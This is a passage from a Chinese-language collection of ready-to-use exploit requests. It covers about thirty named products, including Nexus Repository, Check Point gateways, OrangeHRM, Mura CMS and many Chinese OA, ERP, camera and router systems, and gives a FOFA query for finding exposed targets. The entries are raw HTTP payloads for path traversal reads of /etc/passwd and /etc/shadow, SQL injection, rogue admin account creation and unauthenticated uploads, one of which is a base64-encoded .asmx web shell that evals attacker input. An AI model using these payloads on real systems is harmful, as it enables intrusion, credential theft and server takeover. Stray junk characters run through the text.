# ?+ d4 E6 n+ M' D; l1 a<soap:Body>
* r: h- T# w$ p1 q<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
6 T# _5 d2 `+ w: [: L<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
4 |2 _7 G' s/ s/ I* e<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
2 a2 ^& [. ]4 O; m% {' ?</jobUpload>
</soap:Body>
$ e  |9 M: O' ~</soap:Envelope>
! `6 F; \: ], J* @3 }" ^7 J# r

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
2 y1 _, G. o( vFOFA：title="Nexus Repository Manager"
& }+ }: I% K8 s6 h8 nGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
/ B+ @% G* s% ]1 G. eHost: x.x.x.x
! x  S) c7 u* I. `+ |User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
3 \1 E( |5 g8 n/ H- t0 u/ g# AAccept-Language: en
Accept-Encoding: gzip

6 v2 M) L5 Z5 V, e5 _( |
* W$ Z0 B7 E) m161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
6 B4 W* X6 }- m# R: OPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
2 q0 M+ c" D. L  EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
6 j, z  ~; t0 t) B( n. Y* vConnection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip
8 T$ T3 d2 t/ K% n
$ o1 m' l6 `7 s% |5 y9 b8 I$ m<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
6 u6 `- |. F5 q- u( \4 Dhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
6 h1 o. ]8 o8 t$ k1 Axmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
8 z; Q% M& C$ C* J. y9 ]) O/ N. g<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
; v0 k5 K( J$ m7 }$ g9 I- ~</UploadResume>
9 O% \0 `+ G5 z# Z1 v' R</soap:Body>
</soap:Envelope>

# b- V9 J, i" I- T, N
& d/ h7 I8 \: r* A! ~. Q* ghttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
" I+ c$ a3 b& P, z( |POST /QH.aspx HTTP/1.1
2 ]  @( S' z: GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
9 a! s: [/ y5 t: g9 W( fConnection: close
Content-Length: 583
& ], V) |6 h" x2 o$ d$ m) f8 [- BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
* v4 r( D+ C+ E8 d) _+ T% V* C
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
" E% e& Y. U% t$ w- l7 v+ m
  H3 {5 U7 T5 d<% response.write("ujidwqfuuqjalgkvrpqy") %>
2 {8 s- W  U" p$ s: U7 D------WebKitFormBoundaryeegvclmyurlotuey
: r% @1 R5 z  v. z. cContent-Disposition: form-data; name="action"
! m. X- C' N4 [; I$ K, \
6 D  T$ i. a; O! i) g5 Eupload
* m; T+ U: ]. S# P$ Y------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
3 s7 |" j, \  q+ I5 I
ResourceNewResponder
4 K8 q3 s, K% G' o( U------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

9 P/ D7 z4 d8 ?: Q/opt/resources
  q7 Z3 Y. B8 l! H6 e------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx
6 [, N, S; _; E/ L& X0 P7 z. ~
( R6 J3 |  {0 o+ u# e9 @163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
" X" \+ n9 j8 w+ [- x* bPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
3 b4 b# M4 o; o% |8 FContent-Length: 293
# i* b# r& w+ d( L/ Y3 DAccept: */*
Accept-Encoding: gzip, deflate
! n/ h: Z. ?5 R+ m" r: B  V7 rAccept-Language: zh-CN,zh;q=0.9
  q% A5 Y9 p* M: W# Y1 _/ uContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

" Z% }# ]: F0 @0 ~1 a! R: @------iiqvnofupvhdyrcoqyuujyetjvqgocod
3 O$ a7 o& D" [4 L) s; ]0 J* `Content-Disposition: form-data; name="name"
7 V4 I/ O& n, s6 q0 @% b
1.php
! r: r' j( e; F' }: c' Y! l& j------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
1 t- g# U* w/ I% l------iiqvnofupvhdyrcoqyuujyetjvqgocod--


" Z/ K6 J* c  `' G1 N164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
/ Q: R0 k2 y" S5 ?% I6 eContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
; Y6 X  ~" D( Y  QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
- S4 w/ d3 b  DContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
+ v3 Y4 F8 ^  a
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--

: o6 s; A% ^! P
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
; O' N3 n2 ?; _; N+ i+ S
' ~$ M3 L# F0 b2 {165. OrangeHRM 3.3.3 SQL 注入
% ^- T+ `6 v3 d( s& p' UCVE-2024-36428
* F* w) K5 S+ n8 s; T0 G4 gFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
% x8 {8 h. R9 |, b

166. 中成科信票务管理平台SeatMapHandler SQL注入
4 ?# L, _( J( M0 }) U- @FOFA：body="技术支持：北京中成科信科技发展有限公司"
/ F9 w' o% f1 n& Q' ]7 c! e0 I4 @POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
8 z( s5 ?: k: T( I/ IHost:
' K- c9 w" f6 a9 lPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

9 i* h9 y5 J# j- V4 E2 T9 pMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
- o7 W6 W% @+ {4 t. c4 @+ ]
* e2 `" Z+ r4 }$ c
/ k" f/ g. o. D  s8 `167. 精益价值管理系统 DownLoad.aspx任意文件读取
" ]3 Y  [/ R; S1 ^8 Z0 e( P7 v8 ~FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
4 f  A" ~; F$ F) z  K+ T# {GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
$ t, R4 U9 J0 @7 u1 f: _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
9 b4 ]" D% x) O- vConnection: keep-alive

8 ~  e( _0 i: E+ \/ `/ G8 u
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
# e) o1 {. T2 A7 Z& C4 kHost: your-ip
$ N6 C! `3 h0 B9 |' g/ W; XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
' @/ ~) P- L; o% }1 A4 KConnection: close
% g( U4 y% y% O# d( {. v: r. k
$ G: }: k( Q" d  N# f0 L& r* A/ m
+ y# v' t$ n9 s" z( a
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 L5 q5 h) R! }, b) a$ Q9 vAccept: */*
Accept-Encoding: gzip, deflate
3 B+ A+ v- A  x: x1 qConnection: close
; Z0 V9 p& D2 u$ i4 t: J1 q

+ z4 I7 x0 s# ?3 b) c" q
- ^! ?3 v3 N- @7 j( l7 P3 S/ x170. 宏景EHR DisplayExcelCustomReport 任意文件读取
2 q6 r& c/ c, j, y0 d4 D  H; KFOFA：body="/general/sys/hjaxmanage.js"
" k1 d3 ]; {: [POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
$ [! D' o! v+ r/ PHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
+ j$ \5 T4 h8 ~$ f" V9 n
" U& W; C  E; B8 Z7 S0 U. Jfilename=../webapps/ROOT/WEB-INF/web.xml


* i' n) k: }0 y. ^0 N9 x171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
4 u% ~  y3 _0 k* ?7 a4 PGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
; i2 F2 ]3 g; ^0 EAccept: */*
' M$ t8 ]7 X  c- q. H& [9 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. I9 \' _; ~- r# i+ q( R! gConnection: close

% w: [, P& n1 e! d0 X% j

172. DT-高清车牌识别摄像机任意文件读取
" j( ?  Z+ `' L3 {# y5 }FOFA：app="DT-高清车牌识别摄像机"
; \+ m8 p, @  X4 P/ aGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
5 L' J. C# @6 n7 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

7 Z7 q. b, e7 @# M  S; n

* C- K- g; k; e! U# Y: z9 [1 p173. Check Point 安全网关任意文件读取
6 ~% I5 Y9 }# j5 J- ACVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
$ ^7 e, [# {+ g6 x' [8 @
aCSHELL/../../../../../../../etc/shadow

( K. e# h- n7 _! ~& E6 d  [

! ]. o0 h& b2 q: [7 j: |8 Q4 I174. 金和OA C6 FileDownLoad.aspx 任意文件读取
# ~) D* O6 b, C- oFOFA：app="金和网络-金和OA"
4 C- |- H0 ^# O: z) h/ T5 sGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  s$ Y* ?0 f' p/ g8 g* j) BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ n0 C8 d& k% W/ \6 NAccept-Encoding: gzip, deflate, br
: S  j. X$ b& a- b6 ^0 rAccept-Language: zh-CN,zh;q=0.9
( f; Z3 v2 i) \. oConnection: close
& `) G4 b2 a, E; e" E8 G


; i7 h/ r; k) Q; V# F175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
( D5 h/ q0 o4 K5 d9 H0 WFOFA：app="金和网络-金和OA"
4 n9 {$ w. {) [3 z9 GGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
" e' J% K1 A2 h* |/ M9 qHost:
* _, K6 L4 c* A. aUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
; J4 }- Q7 A# x) m- T& z* ~* A& qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 W3 K/ s; Q3 z/ W3 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 m3 ], _( B6 y- _Accept-Encoding: gzip, deflate
- l6 @5 h; d  T" p# r& R- {Connection: close
Upgrade-Insecure-Requests: 1
' H8 R1 r) r. X9 Z! W9 E1 B

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
2 |  N( U. k, Z) y0 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; e- {& E) k6 |3 H8 y) }7 o8 C: ~Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
" m2 ]  L4 f0 D6 nConnection: close

------WebKitFormBoundaryOKldnDPT
+ ?# w' a9 Z( LContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

2 ]8 w* C$ G2 ?6 }<?php system("cat /etc/passwd");unlink(__FILE__);?>
" U( W4 o1 E9 [$ Y------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
# X) @5 v  q6 }4 c4 H# \" h( D" D7 d
3 O% p* x. }. _1 p, H" j
- F; c8 y0 k! d8 }2 s0 g------WebKitFormBoundaryOKldnDPT--



! u: l7 }# N( w* j6 ^177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
5 N, u+ e5 N: y' b2 N  v! K2 ]" d/userLogin.asp/../actionpolicy_status/../M60.cfg
# w. y9 T$ J1 b% e/userLogin.asp/../actionpolicy_status/../GR8300.cfg
: F+ T' b7 c, ^% K/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/ ^) K8 @/ ?! W, p/userLogin.asp/../actionpolicy_status/../GR3200.cfg
5 A3 |% d% Z# {# x/userLogin.asp/../actionpolicy_status/../GR2200.cfg
$ a$ B, [  ^+ k1 U1 N  F3 a/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
3 \) `  x' s/ c$ }$ W' l/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
. Y: F4 ^  _6 d5 H9 F! l/userLogin.asp/../actionpolicy_status/../ER5200.cfg
3 F  u' M# `. }9 b/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
- x7 z6 }! d* r# t0 b/userLogin.asp/../actionpolicy_status/../ER3200.cfg
4 z2 l/ A6 e% }/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
1 r& p% j! n/ ~, \' D/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
: E0 y2 }* Q* }! R/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

9 L! b+ d5 E9 e! k- S
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
  e+ s+ x. T* o! F* gHost:
8 U- x- N, v2 A# k+ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
' j$ ?, A0 J6 I0 z- e' L' IContent-Length: 252
1 g2 H8 W" C/ o' sAccept-Encoding: gzip, deflate
8 h/ i" Z# Z$ j! t; O8 {+ d- ]Connection: close
2 J2 H/ U- I. t% L  {2 c0 b3 p, nContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
% K; U& b5 r$ UContent-Disposition: form-data; name="12234.txt"; filename="12234"
/ N# Z5 c# g4 z# W+ D" `Content-Type: application/octet-stream
Content-Length: 255
3 |5 X( w! W% U; ~' C
12234
- h: k1 p! a( l-----------------aqutkea7vvanpqy3rh2l--
8 f( {; U, f3 f2 Y9 E. V+ O

GET /imc/primepush/%2e%2e/flex/12234.txt
' |9 e+ ~# A. B9 Z- o5 [

: \0 L/ X, N+ N: Y3 o179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
' b: f) U5 V! C8 y" }2 c3 \Content-Type: application/x-www-form-urlencoded
# ]' h7 U1 B9 O  M- O# A% s- X8 _User-Agent: Mozilla/5.0
; E. n) J& p4 t
path=../log4net.config&Name=
# M5 k( ^  I* b' c' U8 N
# z" t/ h! D  F; L
9 _# e  D5 I$ }$ E& j0 G- B180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
7 k9 \, L) q- ~GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
" @% Y; r" J. eHost: your-ip
2 R# K6 G% ?- r5 C  l( V; dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' u5 g' Y+ V( \3 F7 t* x/ BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 L6 B7 o; a( I1 b$ k! I7 S2 S
1 T3 W  I4 d. _, H
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
/ X# E4 M) ~8 C; A  J! u- Y! fPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
4 t7 C  n, I0 K9 T" r7 NHost: your-ip
: N. y5 ]9 ]/ p+ v% }. d# ]7 g. ~, dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
; c/ X4 ]# e6 X1 r" X+ j( B( GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; S" J: O, _" uAccept-Encoding: gzip, deflate, br
7 W# E2 T/ X- m6 g, R# zAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded


! |" z) N& E9 ^% B3 Jaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

0 L, a, P1 N3 M
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
' q- _8 w- J. Y9 IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 b. x7 V1 c( f( ?4 TContent-Type: application/x-www-form-urlencoded


1 \: _  N7 {6 J  h6 Ausername=test1234&pwd=test1234&savedays=1
9 s  z. W1 i' m; @# N+ `

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
% P5 ^! M, b' G* wFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
' ~$ Z4 J5 w) K0 S! k1 PAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
; e4 x" y# j2 aConnection: close
. w; u0 O! j- c- P$ w( ?

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
+ E5 I. I7 D1 O* y/ R" wPOST /soap/AddUser HTTP/1.1
, @; |% U# }+ a3 ^4 F# Q! W5 o. |Host: your-ip
3 V/ ^8 G( D; o6 @Accept-Encoding: gzip, deflate
- e. ^0 k1 @) h+ d( g! {/ OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
  k7 e$ V7 M5 f* y! I' kAccept: application/xml, text/xml, */*; q=0.01
8 Q2 C$ Y5 E9 XContent-Type: text/xml; charset=utf-8
9 l. I" x' Q/ ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" I) s; r3 J  A2 C5 zX-Requested-With: XMLHttpRequest


: g! r" ]/ ~2 R' f  Qinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

! {9 A3 L5 J5 z2 p5 w% Z4 s
2 c7 q# t$ ]- m185. 瑞友天翼应用虚拟化系统SQL注入
8 i/ F: M+ d  U- ^* N- jversion < 7.0.5.1
- [% k3 m! J* D7 M! _, w4 u9 F! PFOFA：app="REALOR-天翼应用虚拟化系统"
; G, Y: \3 z9 t0 |) {  tGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
  q# M  |! Q7 H$ ?- z3 F
2 a  q- p- m# [  c8 d! f' j
2 P4 W# V. P$ w- H5 i4 b186. F-logic DataCube3 SQL注入
; C, d5 e. F1 sCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
/ {3 }; p) R! X0 ?8 _5 A$ J9 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
6 X$ b. T/ e4 M* `4 O2 L/ IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 `5 B: w; D5 x8 CAccept-Encoding: gzip, deflate
9 D8 @# }# i9 u! x3 t5 z" KConnection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
; n0 b1 R7 q5 c8 y0 q$ S# Q. p

187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
# o6 N7 z% N3 R8 f6 QFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
6 ~* w1 t4 T# x# I  uContent-Type: application/x-www-form-urlencoded
- `; b# i  L8 x0 t

1 D! H1 N) |$ lobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


/ t: y% g- @* u4 I188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
' e2 G5 L' h, F+ \9 l9 ~$ x1 pFOFA：body="/system/get_rtc_user_defined_info?site_id"
; f: S1 i( a4 I  s# \GET /attachment?file=/etc/passwd HTTP/1.1
4 t* f) o) X- F( t1 u& WHost: your-ip
" l7 l4 x, D) @5 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
$ Y( O4 i1 n/ ZConnection: close

6 b/ Z9 x) \4 _8 _, B- ~
  _) ^' ?( ~9 N8 t+ u189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
; A6 i0 N5 {$ l! a5 N4 i5 fUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
